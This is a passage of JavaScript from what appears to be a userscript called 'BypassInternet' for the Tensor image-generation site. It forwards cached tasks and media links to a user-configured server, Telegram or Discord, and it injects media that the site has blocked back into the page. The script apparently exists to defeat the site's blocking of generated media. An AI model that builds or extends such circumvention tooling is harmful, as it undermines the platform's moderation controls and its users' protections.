    const bodyMode = settings.sharedNetworkPayloadMode === 'text' ? 'text' : 'file';
    const jsonText = JSON.stringify(envelope, null, 2);
    const resolvedName = filename || `shared_export_${Date.now()}.json`;

    if (bodyMode === 'text') {
      sharedNetworkLastWire = {
        transport: 'http',
        url: uploadUrl,
        method: 'POST',
        mode: 'text',
        contentType: 'application/json'
      };
      const response = await fetch(uploadUrl, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: jsonText
      });
      const parsed = await tryReadJsonSafe(response);
      return { ok: response.ok, status: response.status, statusText: response.statusText, ...parsed };
    }

    const fd = new FormData();
    const blob = new Blob([jsonText], { type: 'application/json' });
    fd.append('file', blob, resolvedName);
    fd.append('filename', resolvedName);
    fd.append('contentType', 'application/json');
    fd.append('mode', 'file');

    sharedNetworkLastWire = {
      transport: 'http',
      url: uploadUrl,
      method: 'POST',
      mode: 'file',
      formFields: ['file', 'filename', 'contentType', 'mode'],
      filename: resolvedName,
      contentType: 'application/json'
    };

    const response = await fetch(uploadUrl, {
      method: 'POST',
      body: fd
    });
    const parsed = await tryReadJsonSafe(response);
    return { ok: response.ok, status: response.status, statusText: response.statusText, ...parsed };
  }

  function sharedNetWsDisconnect(reason = '') {
    try {
      if (sharedNetworkWs) {
        sharedNetworkWs.close(1000, reason || 'client-close');
      }
    } catch {
      // ignore
    } finally {
      sharedNetworkWs = null;
      sharedNetworkWsConnectPromise = null;
      sharedNetworkWsState = { status: 'disconnected', url: null, lastError: null, lastMessageAt: sharedNetworkWsState.lastMessageAt || null };
    }
  }

  function sharedNetWsEnsureConnected() {
    if (!sharedNetIsConfigured()) return Promise.reject(new Error('Shared Network is disabled'));
    const wsUrl = sharedNetNormalizeWsUrl(settings.sharedNetworkWsUrl);
    if (!wsUrl) return Promise.reject(new Error('Invalid WebSocket URL'));

    if (sharedNetworkWs && sharedNetworkWs.readyState === WebSocket.OPEN && sharedNetworkWsState.url === wsUrl) {
      return Promise.resolve(true);
    }

    // If a connect is in progress, reuse it.
    if (sharedNetworkWsConnectPromise && sharedNetworkWsState.url === wsUrl) return sharedNetworkWsConnectPromise;

    // Reset if URL changed or socket is not usable.
    try {
      if (sharedNetworkWs) sharedNetworkWs.close();
    } catch {
      // ignore
    }
    sharedNetworkWs = null;
    sharedNetworkWsState = { status: 'connecting', url: wsUrl, lastError: null, lastMessageAt: sharedNetworkWsState.lastMessageAt || null };

    sharedNetworkWsConnectPromise = new Promise((resolve, reject) => {
      let ws;
      try {
        ws = new WebSocket(wsUrl);
      } catch (e) {
        sharedNetworkWsState.status = 'error';
        sharedNetworkWsState.lastError = e?.message || String(e);
        sharedNetLog('error', 'WebSocket creation failed', { wsUrl, error: sharedNetworkWsState.lastError });
        reject(e);
        return;
      }

      sharedNetworkWs = ws;

      ws.onopen = () => {
        sharedNetworkWsState.status = 'connected';
        sharedNetworkWsState.lastError = null;
        sharedNetLog('success', 'WebSocket connected', { wsUrl });
        resolve(true);
      };
      ws.onclose = (evt) => {
        const info = { wsUrl, code: evt?.code, reason: evt?.reason };
        sharedNetworkWsState.status = 'disconnected';
        sharedNetLog('warning', 'WebSocket closed', info);
        sharedNetworkWs = null;
        sharedNetworkWsConnectPromise = null;
      };
      ws.onerror = () => {
        sharedNetworkWsState.status = 'error';
        sharedNetworkWsState.lastError = 'WebSocket error';
        sharedNetLog('error', 'WebSocket error', { wsUrl });
        // Some browsers do not provide error details; rely on close event too.
      };
      ws.onmessage = (evt) => {
        sharedNetworkWsState.lastMessageAt = Date.now();
        const text = typeof evt?.data === 'string' ? evt.data : null;
        if (text) {
          // Log receiver responses for debugging.
          sharedNetLog('info', 'WS message', { text: text.slice(0, 2000) });
        }
      };

      // Safety: reject if it never connects.
      setTimeout(() => {
        if (!sharedNetworkWs || sharedNetworkWs.readyState !== WebSocket.OPEN) {
          reject(new Error('WebSocket connect timeout'));
        }
      }, 5000);
    });

    return sharedNetworkWsConnectPromise;
  }

  async function sharedNetWsSend(envelope, filename = null) {
    await sharedNetWsEnsureConnected();
    if (!sharedNetworkWs || sharedNetworkWs.readyState !== WebSocket.OPEN) {
      throw new Error('WebSocket not connected');
    }
    const resolvedName = filename || `shared_export_${Date.now()}.json`;
    const msg = {
      type: settings.sharedNetworkPayloadMode === 'text' ? 'text' : 'file',
      filename: resolvedName,
      contentType: 'application/json',
      content: JSON.stringify(envelope, null, 2)
    };
    sharedNetworkLastWire = {
      transport: 'ws',
      url: sharedNetworkWsState.url || settings.sharedNetworkWsUrl,
      messageType: msg.type,
      filename: resolvedName,
      contentType: msg.contentType
    };
    sharedNetworkWs.send(JSON.stringify(msg));
    return { ok: true };
  }

  async function sharedNetCheckServerHealth() {
    if (!sharedNetIsConfigured()) {
      sharedNetworkHttpStatus = { ok: null, checkedAt: Date.now(), error: 'Disabled', status: null };
      return sharedNetworkHttpStatus;
    }
    const base = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
    const healthUrl = sharedNetJoinUrl(base, settings.sharedNetworkHttpHealthPath);
    if (!healthUrl) {
      sharedNetworkHttpStatus = { ok: false, checkedAt: Date.now(), error: 'Invalid health URL', status: null };
      return sharedNetworkHttpStatus;
    }
    try {
      const response = await fetch(healthUrl, { method: 'GET' });
      const parsed = await tryReadJsonSafe(response);
      sharedNetworkHttpStatus = {
        ok: response.ok,
        checkedAt: Date.now(),
        error: response.ok ? null : (parsed.text || response.statusText || 'Health check failed'),
        status: response.status
      };
      sharedNetLog(response.ok ? 'success' : 'warning', 'Health check', { healthUrl, status: response.status, body: parsed.text?.slice?.(0, 2000) || '' });
      return sharedNetworkHttpStatus;
    } catch (e) {
      sharedNetworkHttpStatus = { ok: false, checkedAt: Date.now(), error: e?.message || String(e), status: null };
      sharedNetLog('error', 'Health check error', { healthUrl, error: sharedNetworkHttpStatus.error });
      return sharedNetworkHttpStatus;
    }
  }

  async function sharedNetSendEnvelope(envelope, filename = null) {
    if (!sharedNetIsConfigured()) {
      throw new Error('Shared Network is disabled');
    }

    sharedNetworkLastSent = envelope;
    sharedNetworkLastSentAt = Date.now();
    sharedNetScheduleTabRefresh();

    const method = settings.sharedNetworkMethod;
    if (method === 'ws') {
      return await sharedNetWsSend(envelope, filename);
    }
    return await sharedNetHttpSend(envelope, filename);
  }

  async function sharedNetSendCommand(text) {
    const cmd = String(text || '').trim();
    if (!cmd) return { ok: false, error: 'Empty command' };
    if (!sharedNetIsConfigured()) return { ok: false, error: 'Shared Network is disabled' };
    if (!settings.sharedNetworkRemoteControlEnabled) return { ok: false, error: 'Remote control disabled' };

    const payload = { command: cmd, at: new Date().toISOString() };
    const env = sharedNetBuildEnvelope({ type: 'remote-command', payload }, { kind: 'command' });

    try {
      if (settings.sharedNetworkMethod === 'ws') {
        await sharedNetWsEnsureConnected();
        sharedNetworkWs.send(JSON.stringify({ type: 'command', command: cmd }));
        sharedNetLog('success', 'Command sent (WS)', { command: cmd });
        return { ok: true };
      }

      const base = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
      const url = sharedNetJoinUrl(base, settings.sharedNetworkHttpCommandPath);
      if (!url) throw new Error('Invalid command URL');
      const response = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(env) });
      const parsed = await tryReadJsonSafe(response);
      sharedNetLog(response.ok ? 'success' : 'warning', 'Command sent (HTTP)', { status: response.status, body: parsed.text?.slice?.(0, 2000) || '' });
      return { ok: response.ok, status: response.status, body: parsed.text };
    } catch (e) {
      sharedNetLog('error', 'Command send failed', { error: e?.message || String(e) });
      return { ok: false, error: e?.message || String(e) };
    }
  }

  function sharedNetReadTaskCacheRaw() {
    try {
      const raw = localStorage.getItem(TASK_CACHE_KEY);
      if (!raw) return {};
      const parsed = JSON.parse(raw);
      return parsed && typeof parsed === 'object' ? parsed : {};
    } catch {
      return {};
    }
  }

  function sharedNetGetCachedTasksList() {
    const cache = sharedNetReadTaskCacheRaw();
    const values = Object.values(cache);
    return Array.isArray(values) ? values.filter(Boolean) : [];
  }

  function sharedNetResolveTask(taskId) {
    if (!taskId) return null;
    const fromMap = resolveTaskData(taskId);
    if (fromMap?.raw) return fromMap.raw;
    if (fromMap) return fromMap;
    const cache = sharedNetReadTaskCacheRaw();
    return cache[taskId] || cache[String(taskId).slice(0, 18)] || null;
  }

  function sharedNetBuildItemPayloadForId(imageId, taskIdHint = null, mimeTypeHint = '', fallback = null) {
    if (!imageId) return null;
    const fb = fallback && typeof fallback === 'object' ? fallback : {};
    const meta = getItemMetaFromId(imageId) || {};
    const mapped = itemsData.find(x => x?.id === imageId) || {};
    const fbMt = fb?.mimeType || fb?.contentType || '';
    const mt = mimeTypeHint || fbMt || meta.mimeType || mapped.mimeType || '';
    return {
      imageId,
      taskId: meta.taskId || mapped.taskId || fb?.taskId || taskIdHint || null,
      mimeType: meta.mimeType || mapped.mimeType || fb?.mimeType || fb?.contentType || (mimeTypeHint || null),
      width: meta.width || fb?.width || mapped.width || null,
      height: meta.height || fb?.height || mapped.height || null,
      downloadFileName: meta.downloadFileName || fb?.downloadFileName || mapped.downloadFileName || null,
      bypassedUrl: getCachedDownloadUrl(imageId, mt) || fb?.bypassedUrl || fb?.url || mapped.url || meta.url || null,
      source: meta.source || fb?.source || mapped.source || null
    };
  }

  function sharedNetBuildItemsPayload(items) {
    const list = Array.isArray(items) ? items : [];
    const out = [];
    const seen = new Set();
    for (const it of list) {
      const imageId = it?.id || it?.imageId;
      if (!imageId || seen.has(imageId)) continue;
      seen.add(imageId);
      const row = sharedNetBuildItemPayloadForId(imageId, null, it?.mimeType || it?.contentType || '');
      if (row) out.push(row);
    }
    return out;
  }

  function sharedNetGetTaskIdHint(task) {
    if (!task || typeof task !== 'object') return null;
    return task.taskId || task.id || task.routeId || task.route_id || task.task_id || null;
  }

  function sharedNetExtractImageRefsFromTask(task) {
    const out = [];
    const seen = new Set();
    const taskIdHint = sharedNetGetTaskIdHint(task);
    let visited = 0;

    // If the task already contains items[], trust it. This path is important for
    // injected Task Actions where the UI has the item list but itemMap/itemsData
    // may not be populated yet.
    try {
      if (Array.isArray(task?.items)) {
        for (const it of task.items) {
          const rawId = it?.imageId || it?.id;
          if (!rawId) continue;
          const id = String(rawId);
          if (!id) continue;
          if (taskIdHint && String(taskIdHint) === id) continue;
          if (seen.has(id)) continue;

          const mt = String(it?.mimeType || it?.contentType || '');
          const url = it?.url;
          const looksMedia = mt.startsWith('image/') || mt.startsWith('video/');
          const looksUrl = typeof url === 'string' && url.startsWith('http');
          if (!looksMedia && !looksUrl) continue;

          seen.add(id);
          out.push({ imageId: id, mimeType: mt });
        }
      }
    } catch {}

    const push = (imageId, mimeTypeHint = '') => {
      if (!imageId) return;
      const id = String(imageId);
      if (!id) return;
      if (taskIdHint && String(taskIdHint) === id) return;
      if (seen.has(id)) return;

      // Only accept if it looks like something we can resolve.
      const meta = getItemMetaFromId(id);
      const mapped = itemsData.find(x => x?.id === id);
      const cached = getCachedDownloadUrl(id, mimeTypeHint || '');
      if (!meta && !mapped && !cached) return;

      seen.add(id);
      out.push({ imageId: id, mimeType: mimeTypeHint || meta?.mimeType || mapped?.mimeType || '' });
    };

    const visit = (node, depth, parentKey = '') => {
      if (!node) return;
      if (visited++ > 6000) return;
      if (depth > 9) return;
      if (Array.isArray(node)) {
        const pk = String(parentKey || '').toLowerCase();
        const listLooksLikeIds = pk.includes('image') || pk.includes('media') || pk.includes('output') || pk.includes('result') || pk.includes('asset');
        for (const v of node) {
          if (listLooksLikeIds && (typeof v === 'string' || typeof v === 'number')) {
            push(v, '');
          } else {
            visit(v, depth + 1, parentKey);
          }
        }
        return;
      }
      if (typeof node !== 'object') return;

      // Common shapes.
      if (node.imageId) push(node.imageId, node.mimeType || node.contentType || '');
      if (node.image_id) push(node.image_id, node.mimeType || node.contentType || '');
      if (node.id && (node.url || node.mimeType || node.contentType || node.width || node.height || node.downloadFileName)) {
        push(node.id, node.mimeType || node.contentType || '');
      }

      for (const [k, v] of Object.entries(node)) {
        if (k === 'taskId' || k === 'routeId' || k === 'id') continue;
        visit(v, depth + 1, k);
      }
    };

    visit(task, 0, 'task');
    return { taskIdHint, refs: out };
  }

  function sharedNetBuildItemsPayloadFromTasks(tasks) {
    const list = Array.isArray(tasks) ? tasks : [];
    const out = [];
    const seen = new Set();

    for (const t of list) {
      // Task-local fallback item info (from task.items) so we can include bypassedUrl
      // even when the global caches haven't been filled yet.
      const localById = {};
      try {
        if (Array.isArray(t?.items)) {
          for (const it of t.items) {
            const rawId = it?.imageId || it?.id;
            if (!rawId) continue;
            const id = String(rawId);
            if (!id) continue;
            localById[id] = {
              imageId: id,
              taskId: it?.taskId || null,
              mimeType: it?.mimeType || it?.contentType || '',
              contentType: it?.contentType || null,
              width: it?.width || null,
              height: it?.height || null,
              url: it?.url || null,
              bypassedUrl: it?.bypassedUrl || null,
              downloadFileName: it?.downloadFileName || null,
              source: it?.source || null
            };
          }
        }
      } catch {}

      const { taskIdHint, refs } = sharedNetExtractImageRefsFromTask(t);
      for (const r of refs) {
        const imageId = r?.imageId;
        if (!imageId || seen.has(imageId)) continue;
        seen.add(imageId);
        const fb = localById?.[String(imageId)] || null;
        const row = sharedNetBuildItemPayloadForId(imageId, taskIdHint, r?.mimeType || fb?.mimeType || '', fb);
        if (row) out.push(row);
      }
    }

    return out;
  }

  function sharedNetBuildTasksPayloadFromItems(itemPayload) {
    const tasks = [];
    const seen = new Set();
    for (const item of itemPayload) {
      const tid = item?.taskId;
      if (!tid || seen.has(tid)) continue;
      seen.add(tid);
      const task = sharedNetResolveTask(tid);
      if (task) tasks.push(task);
    }
    return tasks;
  }

  async function sharedNetSendCachedTasksNow() {
    const tasks = sharedNetGetCachedTasksList();
    if (!tasks.length) {
      showToast('No cached tasks to send', 'warning');
      sharedNetLog('warning', 'No cached tasks found to send');
      return { ok: false, error: 'No cached tasks' };
    }
    const items = sharedNetBuildItemsPayloadFromTasks(tasks);
    const payload = { kind: 'cached-tasks', count: tasks.length, itemsCount: items.length, items, tasks };
    const env = sharedNetBuildEnvelope(payload, { source: 'task-cache' });
    sharedNetSetProgress(true, 0, Math.max(1, items.length || tasks.length), `Sending cached tasks… (${items.length} item(s))`);
    try {
      const res = await sharedNetSendEnvelope(env, `tensor_cached_tasks_${Date.now()}.json`);
      sharedNetLog('success', 'Sent cached tasks', { count: tasks.length, itemsCount: items.length, result: res });
      showToast(`Sent ${tasks.length} task(s) • ${items.length} item(s)`, 'success');
      return res;
    } catch (e) {
      sharedNetLog('error', 'Failed to send cached tasks', { error: e?.message || String(e) });
      showToast(`Shared Network send failed: ${e?.message || e}`, 'error');
      return { ok: false, error: e?.message || String(e) };
    } finally {
      sharedNetSetProgress(false, 0, 0, '');
    }
  }

  async function sharedNetSendItemsNow(items, contextLabel = 'items') {
    const itemPayload = sharedNetBuildItemsPayload(items);
    if (!itemPayload.length) {
      showToast('No items to send', 'warning');
      return { ok: false, error: 'No items' };
    }
    const tasks = sharedNetBuildTasksPayloadFromItems(itemPayload);
    const payload = {
      kind: 'items',
      context: contextLabel,
      count: itemPayload.length,
      tasksCount: tasks.length,
      items: itemPayload,
      tasks
    };
    const env = sharedNetBuildEnvelope(payload, { source: contextLabel });
    sharedNetSetProgress(true, 0, itemPayload.length, 'Sending items…');
    try {
      const res = await sharedNetSendEnvelope(env, `tensor_items_${Date.now()}.json`);
      sharedNetLog('success', 'Sent items', { count: itemPayload.length, tasksCount: tasks.length, result: res });
      showToast(`Sent ${itemPayload.length} item(s)`, 'success');
      return res;
    } catch (e) {
      sharedNetLog('error', 'Failed to send items', { error: e?.message || String(e) });
      showToast(`Shared Network send failed: ${e?.message || e}`, 'error');
      return { ok: false, error: e?.message || String(e) };
    } finally {
      sharedNetSetProgress(false, 0, 0, '');
    }
  }

  async function sharedNetSendTaskNow(taskId, taskDataOverride = null, contextLabel = 'task') {
    const task = taskDataOverride || sharedNetResolveTask(taskId);
    if (!task) {
      showToast('Task not found in cache', 'warning');
      return { ok: false, error: 'Task not found' };
    }
    const items = sharedNetBuildItemsPayloadFromTasks([task]);
    const payload = { kind: 'task', context: contextLabel, taskId: taskId || task?.taskId || task?.routeId || null, itemsCount: items.length, items, task };
    const env = sharedNetBuildEnvelope(payload, { source: contextLabel });
    try {
      const res = await sharedNetSendEnvelope(env, `tensor_task_${(taskId || 'unknown')}_${Date.now()}.json`);
      sharedNetLog('success', 'Sent task', { taskId, result: res });
      showToast('Task sent to Shared Network', 'success');
      return res;
    } catch (e) {
      sharedNetLog('error', 'Failed to send task', { taskId, error: e?.message || String(e) });
      showToast(`Shared Network send failed: ${e?.message || e}`, 'error');
      return { ok: false, error: e?.message || String(e) };
    }
  }

  async function sharedNetSendRawPayloadNow(payload, contextLabel = 'raw', filenamePrefix = 'tensor_payload') {
    if (!payload) {
      showToast('Nothing to send', 'warning');
      return { ok: false, error: 'No payload' };
    }
    const env = sharedNetBuildEnvelope({ kind: contextLabel, payload }, { source: contextLabel });
    try {
      const res = await sharedNetSendEnvelope(env, `${filenamePrefix}_${Date.now()}.json`);
      sharedNetLog('success', 'Sent payload', { context: contextLabel, result: res });
      showToast('Sent to Shared Network', 'success');
      return res;
    } catch (e) {
      sharedNetLog('error', 'Failed to send payload', { context: contextLabel, error: e?.message || String(e) });
      showToast(`Shared Network send failed: ${e?.message || e}`, 'error');
      return { ok: false, error: e?.message || String(e) };
    }
  }

  function openImageModal(imageUrl, taskId, createdAt, expireAt, allImages = [], imageId = null, mimeType = '') {
    hideActiveBlockedTooltip();
    const isVideo = mimeType?.startsWith('video/');
    if (isVideo && !settings.showVideoModal) {
      (async () => {
        if (imageId) {
          await downloadMediaById(imageId, mimeType);
        } else if (imageUrl) {
          const ext = guessExtension(mimeType, imageUrl);
          const name = `tensor_media.${ext}`;
          await downloadMediaFromUrl(imageUrl, name, imageId, mimeType);
        }
      })().catch(err => console.warn('Video modal disabled download failed:', err));
      return;
    }

    // Create modal overlay
    const overlay = document.createElement('div');
    overlay.className = 'bypass-modal-overlay';
    overlay.style.cssText = `
      position: fixed;
      top: 0;
      left: 0;
      right: 0;
      bottom: 0;
      background: var(--mask-primary, rgba(0, 0, 0, 0.9));
      display: flex;
      align-items: center;
      justify-content: center;
      z-index: 999999;
      backdrop-filter: blur(5px);
    `;

    const modal = document.createElement('div');
    modal.className = 'bypass-modal-content';
    modal.style.cssText = `
      position: relative;
      background: var(--background-primary, #0f172a);
      border-radius: 16px;
      width: 95%;
      max-width: 1200px;
      height: 95vh;
      max-height: 1000px;
      display: flex;
      overflow: hidden;
      box-shadow: 0 25px 80px rgba(0, 0, 0, 0.9), 0 0 0 1px var(--stroke-secondary, rgba(99, 102, 241, 0.2));
      animation: modalIn 0.3s ease;
    `;

    // Left side - Image display
    const imageContainer = document.createElement('div');
    imageContainer.style.cssText = `
      flex: 1;
      position: relative;
      background: var(--background-on-primary, #1e293b);
      display: flex;
      align-items: center;
      justify-content: center;
      overflow: hidden;
    `;

    const mediaEl = isVideo ? document.createElement('video') : document.createElement('img');
    if (isVideo) {
      mediaEl.controls = true;
      mediaEl.playsInline = true;
      mediaEl.preload = 'metadata';
    }
    mediaEl.src = imageUrl;
    attachAutoRefreshOnMediaError(mediaEl, imageId, mimeType, { forceKind: isVideo ? 'video' : 'image' });
    mediaEl.style.cssText = `
      max-width: 100%;
      max-height: 100%;
      object-fit: contain;
      object-position: center;
      border-radius: 12px;
      padding: 20px;
    `;
    imageContainer.appendChild(mediaEl);

    const getFreshModalUrlForActions = async () => {
      const current = mediaEl.currentSrc || mediaEl.src || imageUrl;
      const expAt = getSignedUrlExpiryMs(current);
      if (imageId && expAt && Date.now() >= (expAt - SIGNED_URL_EXPIRY_SAFETY_MS)) {
        try {
          deleteCachedDownloadUrl(imageId);
        } catch {}
        const fresh = await ensureDownloadUrl(imageId, mimeType, { bypassCache: true, forceKind: isVideo ? 'video' : 'image' });
        return fresh || current;
      }
      return current;
    };

    // Action buttons overlay
    const actionOverlay = document.createElement('div');
    actionOverlay.style.cssText = `
      position: absolute;
      bottom: 20px;
      left: 50%;
      transform: translateX(-50%);
      display: flex;
      gap: 12px;
      z-index: 100;
      padding: 10px 14px;
      border-radius: 999px;
      background: var(--mask-button, rgba(0, 0, 0, 0.6));
      border: 1px solid var(--stroke-secondary, rgba(255,255,255,0.2));
      backdrop-filter: blur(10px);
    `;

    const downloadBtn = document.createElement('button');
    downloadBtn.style.cssText = `
      background: var(--color-main, rgba(99, 102, 241, 0.9));
      color: var(--text-anti, #ffffff);
      border: none;
      border-radius: 28px;
      padding: 12px 24px;
      cursor: pointer;
      font-size: 14px;
      font-weight: 600;
      display: flex;
      align-items: center;
      gap: 8px;
      transition: all 0.3s;
    `;
    downloadBtn.innerHTML = '<i class="fas fa-download"></i> Download';
    downloadBtn.onmouseover = () => downloadBtn.style.opacity = '0.9';
    downloadBtn.onmouseout = () => downloadBtn.style.opacity = '1';
    downloadBtn.onclick = async () => {
      try {
        if (imageId) {
          await downloadMediaById(imageId, mimeType);
        } else {
          const safeUrl = await getFreshModalUrlForActions();
          const ext = guessExtension(mimeType, safeUrl);
          const name = `tensor_media.${ext}`;
          await downloadMediaFromUrl(safeUrl, name, imageId, mimeType);
        }
      } catch (err) {
        console.warn('Download failed:', err);
      }
    };
    actionOverlay.appendChild(downloadBtn);

    if (settings.telegramEnabled && settings.telegramChatId) {
      const telegramBtn = document.createElement('button');
      telegramBtn.style.cssText = `
        background: rgba(0, 136, 204, 0.9);
        color: var(--text-anti, #ffffff);
        border: none;
        border-radius: 28px;
        padding: 12px 24px;
        cursor: pointer;
        font-size: 14px;
        font-weight: 600;
        display: flex;
        align-items: center;
        gap: 8px;
        transition: all 0.3s;
      `;
      telegramBtn.innerHTML = '<i class="fab fa-telegram"></i> Telegram';
      telegramBtn.onmouseover = () => telegramBtn.style.background = 'rgba(0, 136, 204, 1)';
      telegramBtn.onmouseout = () => telegramBtn.style.background = 'rgba(0, 136, 204, 0.9)';
      telegramBtn.onclick = async () => {
        try {
          const safeUrl = await getFreshModalUrlForActions();
          const meta = imageId ? getItemMetaFromId(imageId) : {};
          const result = await sendToTelegram(safeUrl, mimeType || 'image/png', taskId, createdAt, '', imageId || null, {
            workspaceType: meta.workspaceType,
            templateName: meta.workflowTemplateInfo?.name || meta.workflowInfo?.name || '',
            templateId: meta.workflowTemplateInfo?.workflowTemplateId || meta.workflowInfo?.workflowId || ''
          });
          if (!result?.ok && result?.error) {
            showToast(`Telegram failed: ${result.error}`, 'error');
          }
          telegramBtn.innerHTML = result?.ok
            ? (result.mode === 'url' ? '<i class="fas fa-link"></i> URL Sent' : '<i class="fas fa-check"></i> Sent!')
            : '<i class="fas fa-triangle-exclamation"></i> Failed';
          setTimeout(() => {
            telegramBtn.innerHTML = '<i class="fab fa-telegram"></i> Telegram';
          }, 2000);
        } catch (err) {
          console.warn('Telegram failed:', err);
        }
      };
      actionOverlay.appendChild(telegramBtn);
    }

    if (settings.discordEnabled && settings.discordWebhook) {
      const discordBtn = document.createElement('button');
      discordBtn.style.cssText = `
        background: rgba(88, 101, 242, 0.9);
        color: var(--text-anti, #ffffff);
        border: none;
        border-radius: 28px;
        padding: 12px 24px;
        cursor: pointer;
        font-size: 14px;
        font-weight: 600;
        display: flex;
        align-items: center;
        gap: 8px;
        transition: all 0.3s;
      `;
      discordBtn.innerHTML = '<i class="fab fa-discord"></i> Discord';
      discordBtn.onmouseover = () => discordBtn.style.background = 'rgba(88, 101, 242, 1)';
      discordBtn.onmouseout = () => discordBtn.style.background = 'rgba(88, 101, 242, 0.9)';
      discordBtn.onclick = async () => {
        try {
          const safeUrl = await getFreshModalUrlForActions();
          const meta = imageId ? getItemMetaFromId(imageId) : {};
          const result = await sendToDiscord(safeUrl, mimeType || 'image/png', taskId, createdAt, '', imageId || null, {
            workspaceType: meta.workspaceType,
            templateName: meta.workflowTemplateInfo?.name || meta.workflowInfo?.name || '',
            templateId: meta.workflowTemplateInfo?.workflowTemplateId || meta.workflowInfo?.workflowId || ''
          });
          if (!result?.ok && result?.error) {
            showToast(`Discord failed: ${result.error}`, 'error');
          }
          discordBtn.innerHTML = result?.ok
            ? (result.mode === 'url' ? '<i class="fas fa-link"></i> URL Sent' : '<i class="fas fa-check"></i> Sent!')
            : '<i class="fas fa-triangle-exclamation"></i> Failed';
          setTimeout(() => {
            discordBtn.innerHTML = '<i class="fab fa-discord"></i> Discord';
          }, 2000);
        } catch (err) {
          console.warn('Discord failed:', err);
        }
      };
      actionOverlay.appendChild(discordBtn);
    }

    imageContainer.appendChild(actionOverlay);

    // Right side - Details panel
    const detailsContainer = document.createElement('div');
    detailsContainer.style.cssText = `
      width: 420px;
      overflow-y: auto;
      border-left: 1px solid var(--stroke-secondary, #475569);
      padding: 28px;
      background: var(--background-primary, #0f172a);
      color: var(--text-primary, #f1f5f9);
      display: flex;
      flex-direction: column;
      gap: 20px;
    `;

    const detailRows = getDetailRows(
      {
        id: imageId,
        imageId,
        mimeType,
        taskId,
        createdAt,
        expiresAt: expireAt,
        width: itemMap.get(imageId || '')?.width || null,
        height: itemMap.get(imageId || '')?.height || null
      },
      imageId ? resolveTaskData(taskId || '') : null,
      imageUrl
    );

    const detailsHtml = `
      <div>
        <h2 style="font-size: 14px; color: var(--color-main, #6366f1); font-weight: 600; margin: 0 0 12px 0; text-transform: uppercase; letter-spacing: 0.5px;">${isVideo ? 'Media Details' : 'Image Details'}</h2>
        <div style="border-radius: 8px; border: 1px solid var(--stroke-secondary, rgba(99, 102, 241, 0.2)); background: var(--fill-default, rgba(99, 102, 241, 0.05)); padding: 12px; font-size: 13px; line-height: 1.8; color: var(--text-secondary, #cbd5e1);">
          ${detailRows.join('') || '<div>No details available</div>'}
        </div>
      </div>

      ${settings.showBypassedLink ? `<div>
        <h2 style="font-size: 14px; color: var(--color-main, #6366f1); font-weight: 600; margin: 0 0 12px 0; text-transform: uppercase; letter-spacing: 0.5px;">Image URL</h2>
        <div style="border-radius: 8px; border: 1px solid var(--stroke-secondary, rgba(99, 102, 241, 0.2)); background: var(--fill-default, rgba(99, 102, 241, 0.05)); padding: 12px; font-size: 11px; max-height: 100px; overflow-y: auto; word-break: break-all; font-family: 'Courier New', monospace; color: var(--text-secondary, #cbd5e1);">
          ${escapeHtml(imageUrl)}
        </div>
      </div>` : ''}

      <div style="flex: 1;"></div>

      <div style="padding-top: 12px; border-top: 1px solid var(--stroke-secondary, #475569); font-size: 11px; color: var(--text-tertiary, #cbd5e1); text-align: center;">
        <i class="fas fa-shield-alt"></i> BypassInternet v1.0
      </div>
    `;
    detailsContainer.innerHTML = detailsHtml;

    // Close button
    const closeBtn = document.createElement('button');
    closeBtn.style.cssText = `
      position: absolute;
      top: 16px;
      right: 16px;
      background: rgba(239, 68, 68, 0.2);
      color: #ef4444;
      border: 1px solid rgba(239, 68, 68, 0.3);
      width: 44px;
      height: 44px;
      border-radius: 50%;
      cursor: pointer;
      font-size: 20px;
      display: flex;
      align-items: center;
      justify-content: center;
      z-index: 101;
      transition: all 0.3s;
    `;
    closeBtn.innerHTML = '✕';
    closeBtn.onmouseover = () => {
      closeBtn.style.background = 'rgba(239, 68, 68, 0.3)';
    };
    closeBtn.onmouseout = () => {
      closeBtn.style.background = 'rgba(239, 68, 68, 0.2)';
    };
    closeBtn.onclick = () => {
      overlay.style.animation = 'modalOut 0.3s ease forwards';
      setTimeout(() => overlay.remove(), 300);
    };
    modal.appendChild(closeBtn);

    modal.appendChild(imageContainer);
    modal.appendChild(detailsContainer);
    overlay.appendChild(modal);

    // Close on overlay click
    overlay.onclick = (e) => {
      if (e.target === overlay) {
        overlay.style.animation = 'modalOut 0.3s ease forwards';
        setTimeout(() => overlay.remove(), 300);
      }
    };

    // Add animations
    const style = document.createElement('style');
    style.textContent = `
      @keyframes modalIn {
        from { opacity: 0; transform: scale(0.95); }
        to { opacity: 1; transform: scale(1); }
      }
      @keyframes modalOut {
        from { opacity: 1; transform: scale(1); }
        to { opacity: 0; transform: scale(0.95); }
      }
    `;
    overlay.appendChild(style);

    document.body.appendChild(overlay);
  }

  function isTemplateLikePage() {
    const href = window.location.href;
    return /template|workspace|workflow\/editor/i.test(href);
  }

  function startDomInjectionWatcher() {
    if (domInjectInterval) {
      clearInterval(domInjectInterval);
    }
    const needsCommunityInject = settings.communityShareEnabled && IS_TENSOR_DOMAIN;
    if (settings.xhrInterceptEnabled && !needsCommunityInject) {
      console.log('[InjectDOM][Watcher] Not started: XHR Intercept mode is enabled.');
      return;
    }
    if (!settings.injectOnDom && !settings.safeViewMode && !isTemplateLikePage() && !needsCommunityInject) {
      console.log('[InjectDOM][Watcher] Not started: both Inject On DOM and Safe View are disabled on this page.', {
        injectOnDom: settings.injectOnDom,
        safeViewMode: settings.safeViewMode,
        href: window.location.href
      });
      return;
    }
    console.log('[InjectDOM][Watcher] Started', {
      injectOnDom: settings.injectOnDom,
      safeViewMode: settings.safeViewMode,
      templatePage: isTemplateLikePage(),
      href: window.location.href
    });
    domInjectInterval = setInterval(() => {
      const onTemplate = isTemplateLikePage();
      if (!settings.xhrInterceptEnabled) {
        if (settings.injectOnDom || settings.safeViewMode || onTemplate) {
          injectBlockedMediaIntoDom();
          injectCacheLoadButton();
        }
      }
      if (settings.communityShareEnabled && onTemplate) {
        injectCommunityShareButton();
      }
      if (settings.communityShareEnabled && settings.communityShowOnHome && IS_TENSOR_DOMAIN) {
        const isHome = location.pathname === '/' || location.pathname === '';
        if (isHome) injectCommunityHomeSection();
      }
    }, 500);
  }

  function stopDomInjectionWatcher() {
    if (domInjectInterval) {
      clearInterval(domInjectInterval);
      domInjectInterval = null;
    }
  }

  // ── Community Home Page Section Injection ────────────────────────────────────
